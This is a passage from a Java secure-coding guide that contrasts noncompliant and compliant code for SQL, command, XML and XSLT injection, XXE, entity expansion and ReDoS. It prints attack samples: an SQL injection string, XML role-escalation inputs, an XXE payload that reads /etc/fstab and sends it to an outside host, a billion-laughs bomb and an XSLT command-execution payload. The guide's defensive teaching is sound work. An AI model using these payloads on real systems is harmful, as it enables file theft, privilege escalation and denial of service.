1000
1001```java
1002public static String getFile(String filePath, String fileName) {
1003    //Obtain the class path of the process
1004    String path = System.getProperty(RUNTIME_BASE_DIR);
1005
1006    //Canonicalization
1007    //Validation, for example, StringUtils.startsWith(path, "/opt/xxxx/release/");
1008    //Use
1009}
1010```
1011
1012**\[Noncompliant Code Example]**
1013
1014This noncompliant code example uses the configuration file without validating it.
1015
1016```java
1017@Configuration
1018@PropertySource("classpath:xxx.properties")
1019@Component
1020public class XxxConfig {
1021    @Value("${appId}")
1022    private String appId;
1023
1024    @Value("${secret}")
1025    private String citySecret;
1026}
1027```
1028
1029**\[Compliant Code Example]**
1030
1031The Spring Boot framework can use annotations @ConfigurationProperties and @Validated to validate the configuration file:
1032
1033```java
1034@ConfigurationProperties(locations = "classpath: xxx.properties", prefix = "xxx")
1035@Validated
1036public class XxxConfig {
1037    @Value("${appId}")
1038    @Pattern(regexp = "[0-9_A-Z]{32}")
1039    private String appId;
1040
1041    @Value("${secret}")
1042    @Pattern(regexp = "[0-9A-Z]{64,138}", message = "Authentication credential error!")
1043    private String citySecret;
1044
1045    //Setter and Getter methods
1046}
1047```
1048
1049The ServiceComb framework can use the **validation-api** provided by Java to obtain the configuration file object from the Bean context and explicitly invoke the validation method.
1050
1051## Do not directly use external data to concatenate SQL statements
1052
1053**\[Description]**
1054
1055SQL injection occurs when the database operations represented by SQL statements constructed using external data do not behave as expected, which may lead to information leak or data tampering. The root cause is the direct use of external data to concatenate the SQL statements. The following measures can help prevent SQL injection:
1056
1057- Parameterized query: the most effective, but not applicable to table names and field names in SQL statements;
1058- Trustlist validation on external data: applicable to table names and field names used to concatenate SQL statements;
1059- Escaping special characters related to SQL injection in external data: applicable to scenarios where SQL statements must be concatenated using strings. Only fields with quotation marks can be escaped.
1060
1061Parameterized query is preferred because it is an easy way to effectively prevent SQL injection. In addition, parameterized query can improve database access performance. For example, SQL Server and Oracle databases cache a query plan for reuse when the same query statement is executed repeatedly. Common ORM frameworks (such as Hibernate and iBATIS) also support parameterized query.
1062
1063**\[Noncompliant Code Example]** (Dynamically Building SQL Statements in Java Code)
1064
1065```java
1066Statement stmt = null;
1067ResultSet rs = null;
1068try {
1069    String userName = request.getParameter("name");
1070    String password = request.getParameter("password");
1071    ...
1072    String sqlStr = "SELECT * FROM t_user_info WHERE name = '" + userName
1073        + "' AND password = '" + password + "'";
1074    stmt = connection.createStatement();
1075    rs = stmt.executeQuery(sqlString);
1076    ... //Handle the result set
1077} catch (SQLException ex) {
1078    //Handle the exception
1079}
1080```
1081
1082This noncompliant code example uses the user-supplied user name and password to construct the SQL statement and verifies the user name and password. The SQL statement is constructed through concatenation, leading to SQL injection risks. An ill-intentioned user who knows the user name can perform the query using `zhangsan' OR 'a' = 'a` and an **arbitrary password**.
1083
1084**\[Compliant Code Example]** (Using **PreparedStatement** for Parameterized Query)
1085
1086```java
1087PreparedStatement stmt = null;
1088ResultSet rs = null;
1089try {
1090    String userName = request.getParameter("name");
1091    String password = request.getParameter("password");
1092    ... //Ensure that the lengths of userName and password are valid
1093    String sqlStr = "SELECT * FROM t_user_info WHERE name=? AND password =?";
1094    stmt = connection.prepareStatement(sqlStr);
1095    stmt.setString(1, userName);
1096    stmt.setString(2, password);
1097    rs = stmt.executeQuery();
1098    ... //Handle the result set
1099} catch (SQLException ex) {
1100    //Handle the exception
1101}
1102```
1103
1104In parameterized query, placeholders are used to represent parameter values required at execution time. In this way, the semantic logic of the SQL query is pre-defined, and the actual parameter value is determined at the execution time. Parameterized query helps databases distinguish semantic logic from parameters in SQL statements, ensuring that user input cannot change the expected semantic logic of the SQL query. If the attacker enters `zhangsan' OR 'a' = 'a` as the user name, the string is used only as the value of the **name** field.
1105
1106**\[Compliant Code Example]** (Escaping the Input)
1107
1108```java
1109public List<Book> queryBooks(List<Expression> queryCondition) {
1110    ...
1111    try {
1112        StringBuilder sb = new StringBuilder("select * from t_book where ");
1113        Codec oe = new OracleCodec();
1114        if (queryCondition != null && !queryCondition.isEmpty()) {
1115            for (Expression e : queryCondition) {
1116                String exprString = e.getColumn() + e.getOperator();
1117                String safeValue = XXXEncoder.encodeForSQL(oe, e.getValue());
1118                sb.append(exprString).append("'").append(safeValue).append("' and ");
1119            }
1120            sb.append("1=1");
1121            Statement stat = connection.createStatement();
1122            ResultSet rs = stat.executeQuery(sb.toString());
1123            ... //Other code
1124        }
1125    }
1126    ...
1127}
1128```
1129
1130Although parameterized query is the most convenient and effective way to prevent SQL injection, it is not applicable to all scenarios, because not any part of an SQL statement can be replaced by a placeholder before execution. When an SQL statement is dynamically constructed using external data that cannot be replaced by placeholders before execution, the external data must be validated. Each DBMS has its own escape mechanism to tell the database that the input should be treated as data, not code logic. Therefore, as long as the input data is properly escaped, SQL injection will not occur.
1131
1132**Note**: If the passed data is a field name or table name, trustlist validation is recommended.
1133
1134Similar to concatenating parameters in program code, concatenating parameter values to create query strings in stored procedures also has SQL injection risks.
1135
1136**\[Noncompliant Code Example]** (Dynamically Building SQL Statements in Stored Procedure)
1137
1138SQL Server stored procedure:
1139
1140```sql
1141CREATE PROCEDURE sp_queryItem
1142    @userName varchar(50),
1143    @password varchar(50)
1144AS
1145BEGIN
1146    DECLARE @sql nvarchar(500);
1147    SET @sql = 'SELECT * FROM t_user_info
1148                WHERE name= ''' + @userName + '''
1149                AND password= ''' + @password + '''';
1150    EXEC(@sql);
1151END
1152GO
1153```
1154
1155Similar to concatenating parameters in program code, concatenating parameter values to create query strings in stored procedures also has SQL injection risks.
1156
1157**\[Compliant Code Example]** (Parameterized Query in Stored Procedure)
1158
1159SQL Server stored procedure:
1160
1161```sql
1162CREATE PROCEDURE sp_queryItem
1163    @userName varchar(50),
1164    @password varchar(50)
1165AS
1166BEGIN
1167    SELECT * FROM t_user_info
1168    WHERE name = @userName
1169    AND password = @password;
1170END
1171GO
1172```
1173
1174Use parameterized query in stored procedures and avoid insecure dynamic building of SQL statements. When compiling these stored procedures, the database will generate a SELECT query execution plan to allow only original SQL semantics to be executed and prohibit the execution of any parameter values, even injected SQL statements.
1175
1176## Do not use external data to construct format strings
1177
1178**\[Description]**
1179
1180Format in Java can convert an object into a character string in a specified format. A format string controls the length, content, and style of the final character string. If the format specified in the format string does not match the format object, an exception may be thrown. An attacker who can directly control a format string can cause information leak, DoS, system functional anomalies, and other risks.
1181
1182**\[Noncompliant Code Example]**
1183
1184```java
1185public String formatInfo(String formatStr) {
1186    String value = getData();
1187    return String.format(formatStr, value));
1188}
1189
1190String formatStr = req.getParameter("format");
1191String formattedValue = formatInfo(formatStr);
1192```
1193
1194In this noncompliant code example, an externally specified format is used to format a character string. If the externally specified format is not a character type (for example, **%d**), an exception will occur during the format operation.
1195
1196**\[Compliant Code Example]**
1197
1198```java
1199public String formatInfo() {
1200    String value = getData();
1201    return String.format("my format: %s", value));
1202}
1203```
1204
1205This compliant code example excludes user input from the format string.
1206
1207## Do not pass external data to the **Runtime.exec()** method or **java.lang.ProcessBuilder** class
1208
1209**\[Description]**
1210
1211The `Runtime.exec()` method or `java.lang.ProcessBuilder` class is used to start a new process and execute commands in the new process. Directly executing a command constructed using external data, for example, `Runtime.getRuntime().exec("ping 127.0.0.1")`, may incur the following risks:
1212
1213- The command to be executed is split using the command interpreter. In this mode, multiple commands can be executed, causing command injection risks.
1214- Parameters are injected into the command using spaces, double quotation marks, or strings starting **-/**, leading to parameter injection risks.
1215
1216**Using external data to construct non-shell commands**
1217
1218**\[Noncompliant Code Example]**
1219
1220```java
1221String cmd = "ping" + ip;
1222Runtime rt = Runtime.getRuntime();
1223Process proc = rt.exec(cmd);
1224```
1225
1226When the value of **ip** is **127.0.0.1 -t**, the **-t** parameter is injected into the executed command. As a result, the ping process is continuously executed.
1227
1228The solutions to command injection or parameter injection are as follows:
1229
12301\. **Do not directly run the command**
1231
1232To use the functions provided by standard Java libraries or open-source components, use the APIs of the libraries or components to avoid running commands.
1233
1234If command execution is inevitable, validate and sanitize external data.
1235
12362\. **Validate external data**
1237
1238**\[Compliant Code Example]** (Data Validation)
1239
1240```java
1241...
1242//The str value comes from the user input
1243if (!Pattern.matches("[0-9A-Za-z@]+", str)) {
1244    //Handle the error
1245}
1246...
1247```
1248
1249When external data is used to concatenate commands, validate external data using a trustlist and exclude special characters that may incur injection risks.
1250
12513\. **Escape external data**
1252
1253**\[Compliant Code Example]** (Escape)
1254
1255```java
1256String encodeIp = XXXXEncoder.encodeForOS(new WindowsCodec(), ip);
1257String cmd = "cmd.exe /c ping " + encodeIp;
1258Runtime rt = Runtime.getRuntime();
1259Process proc = rt.exec(cmd);
1260...
1261```
1262
1263If risky special characters cannot be avoided through input validation during command execution, the external input must be escaped. Using escaped fields to concatenate commands can effectively prevent command injection.
1264
1265Remarks: The correct practice is to escape only external input, but not the entire concatenated command. The escape method can effectively prevent command injection, but not parameter injection.
1266
1267## Do not directly use external data to concatenate XML
1268
1269**\[Description]**
1270
1271Using unverified data to construct XML will result in XML injection vulnerabilities. If users are allowed to enter structured XML segments, they can inject XML tags into the XML data domain to rewrite the structure and content of the target XML file. These tags are identified and interpreted by the XML parser and may cause XML injection.
1272
1273**\[Noncompliant Code Example]**
1274
1275```java
1276private void createXMLStream(BufferedOutputStream outStream, User user)
1277    throws IOException {
1278    String xmlString;
1279    xmlString = "<user><role>operator</role><id>" + user.getUserId()
1280        + "</id><description>" + user.getDescription() + "</description></user>";
1281    ... //Parse the XML string
1282}
1283```
1284
1285An ill-intentioned user may use the following string as the user ID:
1286
1287```
1288"joe</id><role>administrator</role><id>joe"
1289
1290```
1291
1292And enter the following normal input in the description field:
1293
1294```
1295"I want to be an administrator"
1296
1297```
1298
1299Eventually, the entire XML string becomes the following:
1300
1301```xml
1302<user>
1303    <role>operator</role>
1304    <id>joe</id>
1305    <role>administrator</role>
1306    <id>joe</id>
1307    <description>I want to be an administrator</description>
1308</user>
1309```
1310
1311The SAX parser (org.xml.sax and javax.xml.parsers.SAXParser) overwrites the value of the second **role** field when interpreting the XML file. As a result, the user is escalated from an operator to an administrator.
1312
1313**\[Noncompliant Code Example]** (XML Schema or DTD Validation)
1314
1315```java
1316private void createXMLStream(BufferedOutputStream outStream, User user)
1317    throws IOException {
1318    String xmlString;
1319    xmlString = "<user><id>" + user.getUserId()
1320        + "</id><role>operator</role><description>" + user.getDescription()
1321        + "</description></user>";
1322
1323    StreamSource xmlStream = new StreamSource(new StringReader(xmlString));
1324
1325    //Create an SAX parser that uses the schema to perform validation
1326    SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
1327    StreamSource ss = new StreamSource(new File("schema.xsd"));
1328    try {
1329        Schema schema = sf.newSchema(ss);
1330        Validator validator = schema.newValidator();
1331        validator.validate(xmlStream);
1332    } catch (SAXException ex) {
1333        throw new IOException("Invalid userId", ex);
1334    }
1335
1336    //The XML is valid and is processed
1337    outStream.write(xmlString.getBytes(StandardCharsets.UTF_8));
1338    outStream.flush();
1339}
1340```
1341
1342The schema definition in the **schema.xsd** file is as follows:
1343
1344```xml
1345<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
1346    <xs:element name="user">
1347        <xs:complexType>
1348        <xs:sequence>
1349            <xs:element name="id" type="xs:string"/>
1350            <xs:element name="role" type="xs:string"/>
1351            <xs:element name="description" type="xs:string"/>
1352        </xs:sequence>
1353        </xs:complexType>
1354    </xs:element>
1355</xs:schema>
1356```
1357
1358An ill-intentioned user may use the following string as the user ID:
1359
1360```
1361"joe</id><role>Administrator</role><!--"
1362
1363```
1364
1365And enter the following string in the description field:
1366
1367```
1368"--><description>I want to be an administrator"
1369
1370```
1371
1372Eventually, the entire XML string becomes the following:
1373
1374```xml
1375<user>
1376    <id>joe</id>
1377    <role>Administrator</role><!--</id> <role>operator</role> <description> -->
1378    <description>I want to be an administrator</description>
1379</user>
1380```
1381
1382The `<!--` at the end of the user ID and the `-->` at the beginning of the description field will comment out the role information hard coded in the XML string. Although the user role has been changed to the administrator by an attacker, the entire XML string can still be verified by the schema. XML schema or DTD validation ensures that the XML format is valid, but attackers can tamper with the XML content without breaking the original XML format.
1383
1384**\[Compliant Code Example]** (Trustlist Validation)
1385
1386```java
1387private void createXMLStream(BufferedOutputStream outStream, User user)
1388    throws IOException {
1389    //Write the XML string only when the user ID contains only letters, digits, and underscores (_)
1390    if (!Pattern.matches("[_a-bA-B0-9]+", user.getUserId())) {
1391        //Handle the error
1392    }
1393    if (!Pattern.matches("[_a-bA-B0-9]+", user.getDescription())) {
1394        //Handle the error
1395    }
1396    String xmlString = "<user><id>" + user.getUserId()
1397        + "</id><role>operator</role><description>"
1398        + user.getDescription() + "</description></user>";
1399    outStream.write(xmlString.getBytes(StandardCharsets.UTF_8));
1400    outStream.flush();
1401}
1402```
1403
1404The trustlist validation ensures that the user ID contains only letters, digits, and underscores (\_)
1405
1406**\[Compliant Code Example]** (Using a Secure XML Library)
1407
1408```java
1409public static void  buildXML(FileWriter writer, User user) throws IOException {
1410    Document userDoc = DocumentHelper.createDocument();
1411    Element userElem = userDoc.addElement("user");
1412    Element idElem = userElem.addElement("id");
1413    idElem.setText(user.getUserId());
1414    Element roleElem = userElem.addElement("role");
1415    roleElem.setText("operator");
1416    Element descrElem = userElem.addElement("description");
1417    descrElem.setText(user.getDescription());
1418    XMLWriter output = null;
1419    try {
1420        OutputFormat format = OutputFormat.createPrettyPrint();
1421        format.setEncoding("UTF-8");
1422        output = new XMLWriter(writer, format);
1423        output.write(userDoc);
1424        output.flush();
1425    } finally {
1426        //Close the stream
1427    }
1428}
1429```
1430
1431This compliant code example uses Dom4j, a well-defined, open-source XML tool library, to construct XML. Dom4j will encode the text data field in XML format to protect the original structure and format of the XML from damage.
1432
1433In this example, if the attacker enters the following string as the user ID:
1434
1435```
1436"joe</id><role>Administrator</role><!--"
1437
1438```
1439
1440And enter the following string in the description field:
1441
1442```
1443"--><description>I want to be an administrator"
1444
1445```
1446
1447The generated XML will take the following format:
1448
1449```xml
1450<user>
1451    <id>joe&lt;/id&gt;&lt;role&gt;Administrator&lt;/role&gt;&lt;!--</id>
1452    <role>operator</role>
1453    <description>--&gt;&lt;description&gt;I want to be an administrator</description>
1454</user>
1455```
1456
1457As shown above, **\<** and **>** are replaced with **\&lt;** and **\&gt;** respectively after XML encoding. As a result, the attacker fails to escalate from an operator to an administrator.
1458
1459**\[Compliant Code Example]** (Encoding)
1460
1461```java
1462private void createXMLStream(BufferedOutputStream outStream, User user)
1463    throws IOException {
1464    ...
1465    String encodeUserId = XXXXEncoder.encodeForXML(user.getUserId());
1466    String encodeDec = XXXXEncoder.encodeForXML(user.getDescription());
1467
1468    String xmlString = "<user><id>" + encodeUserId
1469        + "</id><role>operator</role><description>" + encodeDec
1470        + "</description></user>";
1471    outStream.write(xmlString.getBytes(StandardCharsets.UTF_8));
1472    outStream.flush();
1473}
1474```
1475
1476In this compliant code example, external data is encoded before the XML string is concatenated, to prevent tampering with the XML string structure.
1477
1478## Prevent XML External Entity (XXE) attacks caused by parsing external XML
1479
1480**\[Description]**
1481
1482XML entities include internal and external entities. An external entity takes the format of `<!ENTITY SYSTEM "URI"\>` or `<!ENTITY PUBLIC "public_ID" "URI"\>`. In Java, protocols that introduce external entities include HTTP, HTTPS, FTP, file, JAR, netdoc, and mailto. The XXE vulnerability occurs when an application parses external XML data or files without forbidding the loading of external entities, causing arbitrary file reading, intranet port scanning, intranet website attacks, DoS, and other attacks.
1483
14841\. Use the external entity reference function to read arbitrary files:
1485
1486```xml
1487<?xml version="1.0" encoding="utf-8"?>
1488<!DOCTYPE updateProfile [
1489    <!ENTITY file SYSTEM "file:///c:/xxx/xxx.ini"> ]>
1490<updateProfile>
1491    <firstname>Joe</firstname>
1492    <lastname>&file;</lastname>
1493    ...
1494</updateProfile>
1495```
1496
14972\. Use parameter entities and **\<CDATA\[]>** to avoid XML parsing syntax errors and the parsing of malicious entities.
1498
1499XML file: Construct the parameter entities **% start**, **% goodies**, **% end**, and **% dtd** to define a malicious **combine.dtd**.
1500
1501```xml
1502<?xml version="1.0" encoding="utf-8"?>
1503<!DOCTYPE roottag [
1504    <!ENTITY % start "<![CDATA[">
1505    <!ENTITY % goodies SYSTEM "file:///etc/fstab">
1506    <!ENTITY % end "]]>">
1507    <!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd">
1508    %dtd;
1509    ]>
1510<roottag>&all;</roottag>
1511```
1512
1513Define the **\&all** entity in the malicious DTD **combine.dtd**.
1514
1515```xml
1516<?xml version="1.0" encoding="UTF-8"?>
1517<!ENTITY all "%start;%goodies;%end;">
1518```
1519
1520An ill-intentioned user can even construct a malicious **combine.dtd** to send the result to the destination address and finally obtain the **file:///etc/fstab** file.
1521
1522```xml
1523<?xml version="1.0" encoding="UTF-8"?>
1524<!ENTITY % send "<!ENTITY all SYSTEM 'http://mywebsite.com/?%gooddies;'>">
1525%send;
1526```
1527
1528**\[Noncompliant Code Example]**
1529
1530In this example, an external XML file is parsed. The parsing of DTDs or external entities is not disabled.
1531
1532```java
1533private void parseXmlFile(String filePath) {
1534    try {
1535        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1536        DocumentBuilder db = dbf.newDocumentBuilder();
1537        Document doc = db.parse(new File(filePath));
1538        ... //Parse the XML file
1539    } catch (ParserConfigurationException ex) {
1540        //Handle the exception
1541    }
1542    ...
1543}
1544```
1545
1546This noncompliant code example does not provide security protection for XML parsing. When the XML file is crafted by an attacker, the system is vulnerable to XXE attacks.
1547
1548**\[Complaint Code Example]** (Disabling DTD Parsing)
1549
1550```java
1551private void parserXmlFileDisableDtds(String filePath) {
1552    try {
1553        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1554
1555        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
1556        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
1557        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1558        DocumentBuilder db = dbf.newDocumentBuilder();
1559        Document doc = db.parse(new File(filePath));
1560        ... //Parse the XML file
1561    } catch (ParserConfigurationException ex) {
1562        //Handle the exception
1563    }
1564    ...
1565}
1566```
1567
1568The compliant code example disables the parsing of DTDs, which can prevent both XXE and internal entity attacks.
1569
1570**\[Compliant Code Example]** (Disabling the Parsing of External General Entities and Parameter Entities)
1571
1572This compliant code example can prevent XXE attacks but not XML internal entity attacks.
1573
1574```java
1575private void parserXmlFileDisableExternalEntityes(String filePath) {
1576    try {
1577        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1578        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false);
1579        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
1580        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1581        DocumentBuilder db = dbf.newDocumentBuilder();
1582        Document doc = db.parse(new File(filePath));
1583        ... //Parse the XML file
1584    } catch (ParserConfigurationException ex) {
1585        //Handle the exception
1586    }
1587    ...
1588}
1589```
1590
1591**\[Compliant Code Example]** (Trustlist Validation on External Entities)
1592
1593The compliant code example defines a **CustomResolver** class to implement interface `org.xml.sax.EntityResolver`. A customized mechanism for processing external entities is implemented in this class. The customized entity parsing method uses a simple trustlist for validation. If a match is found in the trustlist, the corresponding file content is returned; if no match is found, the returned result is empty.
1594
1595```java
1596private static void parserXmlFileValidateEntities(String filePath) {
1597    try {
1598        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1599        DocumentBuilder db = dbf.newDocumentBuilder();
1600        db.setEntityResolver(new ValidateEntityResolver());
1601        Document doc = db.parse(new File(filePath));
1602        ... //Parse the XML file
1603    } catch (ParserConfigurationException ex) {
1604        //Handle the exception
1605    }
1606    ...
1607}
1608
1609class ValidateEntityResolver implements EntityResolver {
1610    private static final String GOOD_ENTITY = "file:/Users/onlinestore/good.xml";
1611
1612    public InputSource resolveEntity(String publicId, String systemId)
1613        throws SAXException, IOException {
1614        if (publicId != null && publicId.equals(GOOD_ENTITY)) {
1615            return new InputSource(publicId);
1616        } else if (systemId != null && systemId.equals(GOOD_ENTITY)) {
1617            return new InputSource(systemId);
1618        } else {
1619            return new InputSource();
1620        }
1621    }
1622}
1623```
1624
1625If external entities must be used in XML operations in the system, the external entities must be validated against the trustlist. As shown in the above example, a `ValidateEntityResolver` class is customized (with implementation interface `org.xml.sax.EntityResolver`) to validate XXEs using the `resolveEntity` method. XXEs not in the trustlist are not parsed.
1626
1627Remarks: The XML parser used above is only an example. When a program loads external XML data, you can disable the parsing of external entities by setting attributes or other methods that take effect on the parser, and construct malicious XML content as shown in the above example to check the program response, so as to determine whether the set attributes take effect.
1628
1629## Prevent XML Entity Expansion (XEE) attacks caused by parsing external XML
1630
1631**\[Description]**
1632
1633The content of XML internal entities has been declared in Doctype. An internal entity takes the format of or `<!ENTITY "ENTITY VALUE"\>`. XEE attack is a common internal entity attack. It mainly attempts to consume the server memory resources of the target program to cause DoS attacks. XXE and XEE attacks have different protection measures (disabling DTD parsing can prevent both).
1634
1635Parsing the malicious internal entity in the following example occupies many server memory resources, causing DoS attacks.
1636
1637```xml
1638<?xml version="1.0"?>
1639<!DOCTYPE lolz [
1640    <!ENTITY lol "lol">
1641    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
1642    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
1643    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
1644    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
1645    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
1646    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
1647    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
1648    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
1649    ]>
1650<lolz>&lol9;</lolz>
1651```
1652
1653**Disabling DTD parsing is the best method to protect** against XEE attacks. You can also limit the number of internal entities to reduce the possibility of XEE attacks. If internal entities are not required, disable DTD parsing. If internal entities are required, strictly limit the number of internal entities and the size of XML content.
1654
1655**\[Complaint Code Example]** (Disabling DTD Parsing)
1656
1657```java
1658public void receiveXMLStream(InputStream inStream)
1659    throws ParserConfigurationException, SAXException, IOException {
1660    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1661    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
1662    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
1663    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1664    DocumentBuilder db = dbf.newDocumentBuilder();
1665    db.parse(inStream);
1666}
1667```
1668
1669**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed)
1670
1671The default maximum number of entities to be parsed by the JAXP parser in Java is 64,000, while fewer entities need to be parsed by the JAXP parser in fact. Therefore, we can set a smaller number. The following code example limits the number of entities to be parsed by setting the attributes of the DOM parser.
1672
1673```java
1674public void receiveXMLStream(InputStream inStream)
1675    throws ParserConfigurationException, SAXException, IOException {
1676    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1677    dbf.setAttribute("http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit",
1678        "200");
1679    DocumentBuilder db = dbf.newDocumentBuilder();
1680    db.parse(inStream);
1681}
1682```
1683
1684Remarks: The **http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit** attribute is supported in JDK 7u45+ and JDK 8. The SAX and StAX parsers in JAXP do not support this attribute.
1685
1686**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed)
1687
1688The following code example limits the number of entities to be parsed by setting system attributes.
1689
1690```java
1691public void receiveXMLStream(InputStream inStream)
1692    throws ParserConfigurationException, SAXException, IOException {
1693
1694    //Use system attributes to limit the number of entities
1695    System.setProperty("entityExpansionLimit", "200");
1696    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1697    DocumentBuilder db = dbf.newDocumentBuilder();
1698    db.parse(inStream);
1699}
1700```
1701
1702Remarks: The **entityExpansionLimit** attribute is supported in JDK 7u45+ and JDK 8. This method is effective in both SAX and StAX parsers in JAXP.
1703
1704Some products use the DOM, SAX, and StAX parsers provided by the Xerces third-party JAR package, where you can set `setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true)` to limit the number of entities to be no more than 100,000.
1705
1706**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed)
1707
1708This compliant code example limits the number of parsed entities in the Xerces package.
1709
1710```java
1711private static void receiveXMLStream(InputStream inStream)
1712    throws ParserConfigurationException, SAXException, IOException {
1713    DocumentBuilderFactory factory = DocumentBuilderFactoryImpl.newInstance();
1714    factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
1715    DocumentBuilder db = factory.newDocumentBuilder();
1716    org.w3c.dom.Document doc = db.parse(inStream);
1717    doc.getChildNodes();
1718}
1719```
1720
1721Remarks: The XML parser used above is only an example. When a program loads external XML data, you can disable the parsing of internal entities by setting attributes or other methods that take effect on the parser, and construct malicious XML content as shown in the above example to check the program response, so as to determine whether the set attributes take effect.
1722
1723## Do not use insecure XSLT to convert XML files
1724
1725**\[Description]**
1726
1727Extensible stylesheet language transformation (XSLT) can convert XML data into other XML format or other formats such as HTML and pure text. XSLT can be exploited to execute arbitrary code. Therefore, when **TransformerFactory** is used to convert XML data, security policies need to be added to prevent insecure XSLT code execution.
1728
1729**\[Noncompliant Code Example]**
1730
1731```java
1732public void XsltTrans(String src, String dst, String xslt) {
1733    //Obtain the transformer factory
1734    TransformerFactory tf = TransformerFactory.newInstance();
1735    try {
1736        //Obtain the transformer object instance
1737        Transformer transformer = tf.newTransformer(new StreamSource(xslt));
1738
1739        //Carry out transformation
1740        transformer.transform(new StreamSource(src),
1741            new StreamResult(new FileOutputStream(dst)));
1742        ...
1743    } catch (TransformerException ex) {
1744        //Handle the exception
1745    }
1746    ...
1747}
1748```
1749
1750In this example, XSLT is not restricted and is called directly. When XSLT code resembling the following is executed, command execution vulnerabilities may occur:
1751
1752```xml
1753<?xml version="1.0" encoding="UTF-8" ?>
1754<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="java">
1755    <xsl:template match="/" xmlns:os="java:lang.Runtime" >
1756        <xsl:variable name="runtime" select="java:lang.Runtime.getRuntime()"/>
1757        <xsl:value-of select="os:exec($runtime, 'calc')" />
1758    </xsl:template>
1759</xsl:stylesheet>
1760```
1761
1762**\[Compliant Code Example]**
1763
1764```java
1765public void xsltTrans(String src, String dst, String xslt) {
1766    //Obtain the transformer factory
1767    TransformerFactory tf = TransformerFactory.newInstance();
1768    try {
1769        //Set a blocklist for the transformer factory to prohibit some insecure methods, which is similar to XXE protection
1770        tf.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
1771
1772        //Obtain the transformer object instance
1773        Transformer transformer = tf.newTransformer(new StreamSource(xslt));
1774
1775        //Remove <?xml version="1.0" encoding="UTF-8"?>
1776        transformer.setOutputProperty("omit-xml-declaration", "yes");
1777
1778        //Carry out transformation
1779        transformer.transform(new StreamSource(src),
1780            new StreamResult(new FileOutputStream(dst)));
1781        ...
1782    } catch (TransformerException ex) {
1783        //Handle the exception
1784    }
1785    ...
1786}
1787```
1788
1789A security policy can be added to **TransformerFactory**. Java has a built-in blocklist for XSLT. Here some insecure methods are disabled by setting **http://javax.xml.XMLConstants/feature/secure-processing** to **true**.
1790
1791## Try best to simplify the regular expression (regex) to prevent regular expression denial of service (ReDoS) attacks
1792
1793**\[Description]**
1794
1795ReDoS attacks are common security risks caused by inappropriate regexes. The NFA engine is used for regex matching in Java. Due to the backtracking mechanism of the NFA engine, the time consumed when a regex is not matched is longer than the time consumed when the regex is matched. That's because the regex needs to be matched against all possible paths before a mismatch is determined and a failure is returned. ReDoS attacks rarely occur when a simple regex without groups is used. The following types of regexes are vulnerable to ReDoS attacks:
1796
17971\. Regexes containing self-repeating groups, for example:
1798
1799`^(\d+)+$`
1800
1801 `^(\d*)*$`
1802
1803 `^(\d+)*$`
1804
1805 `^(\d+|\s+)*$`
1806
18072\. Regexes containing repetitive groups with replacement, for example:
1808
1809`^(\d|\d|\d)+$`
1810
1811`^(\d|\d?)+$`
1812
1813Measures for defending against ReDoS attacks are as follows:
1814
1815- Check the text length before regex matching.
1816- Avoid using complex regexes and minimize groups. Take `^(([a-z])+\.)+[A-Z]([a-z])+$` (which has the ReDoS risk) as an example. You can delete the redundant group `^([a-z]+\.)+[A-Z][a-z]+$` without altering the check rule, eliminating the ReDoS risk.
1817- Do not dynamically construct regexes. Implement strict trustlist validation when using external data to construct regexes.
1818
1819**\[Noncompliant Code Example]**
1820
1821```java
1822private static final Pattern REGEX_PATTER = Pattern.compile("a(b|c+)+d");
1823
1824public static void main(String[] args) {
1825    ...
1826    Matcher matcher = REGEX_PATTER.matcher(args[0]);
1827    if (matcher.matches()) {
1828        ...
1829    } else {
1830        ...
1831    }
1832    ...
1833}
1834```
1835
1836This noncompliant code example uses the `a(b|c+)+d` regex which has the ReDoS risk. When the matched string resembles **accccccccccccccccx**, the code execution time sees exponential growth with the increase in the number of **c** characters.
1837
1838**\[Compliant Code Example]**
1839
1840```java
1841private static final Pattern REGEX_PATTER = Pattern.compile("a[bc]+d");
1842
